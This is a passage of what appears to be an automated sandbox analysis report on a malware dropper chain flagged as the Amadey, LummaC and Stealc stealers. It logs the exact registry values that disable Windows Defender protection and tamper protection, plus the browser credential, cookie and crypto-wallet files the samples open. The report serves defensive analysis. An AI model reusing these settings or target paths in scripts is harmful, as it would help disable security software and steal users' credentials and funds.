Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003023001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003023001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: file.exe, 00000000.00000003.1765547588.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1766691148.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2543150968.0000000000E4A000.00000004.00000020.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2871460120.0000000000653000.00000004.00000020.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2846912295.0000000000653000.00000004.00000020.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2871309824.0000000000653000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 46.2.PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe.e80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.NN5L9AGTEIQO79C9NX.exe.bf0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.skotes.exe.950000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.950000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000003.2303254931.0000000005230000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1972513678.0000000000951000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1927335783.00000000051D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000002.2832273553.0000000000E81000.00000040.00000001.01000000.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.1932075554.0000000005150000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1937429779.0000000000BF1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1896839265.00000000051C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1968679305.0000000000951000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000003.2784122706.00000000049E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: Process Memory Space: 60eccf97f7.exe PID: 6304, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 60eccf97f7.exe PID: 3852, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7356, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0bdaf26796.exe PID: 736, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0bdaf26796.exe PID: 3264, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ef2e7274a0.exe PID: 6424, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 01b01f6224.exe PID: 7100, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 26.0.num.exe.70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000022.00000003.2658688178.0000000004E60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2458240806.0000000005120000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000000.2547398458.000000000008E000.00000002.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000000.2547351902.0000000000071000.00000080.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 96b4cd4489.exe PID: 7520, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 5288, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 96b4cd4489.exe PID: 6196, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1003023001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.1733405478.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: file.exe, 00000000.00000003.1733405478.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: file.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: 0bdaf26796.exe, 00000019.00000003.2746572800.0000000001452000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: file.exe, 00000000.00000003.1733405478.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: file.exe	String found in binary or memory: ExodusWeb3
Source: file.exe, 00000000.00000003.1733405478.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: :"Wallets/Ethereum","d3
Source: file.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe	String found in binary or memory: keystore
Source: 01b01f6224.exe, 00000025.00000003.2709096105.0000000000647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Livex

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
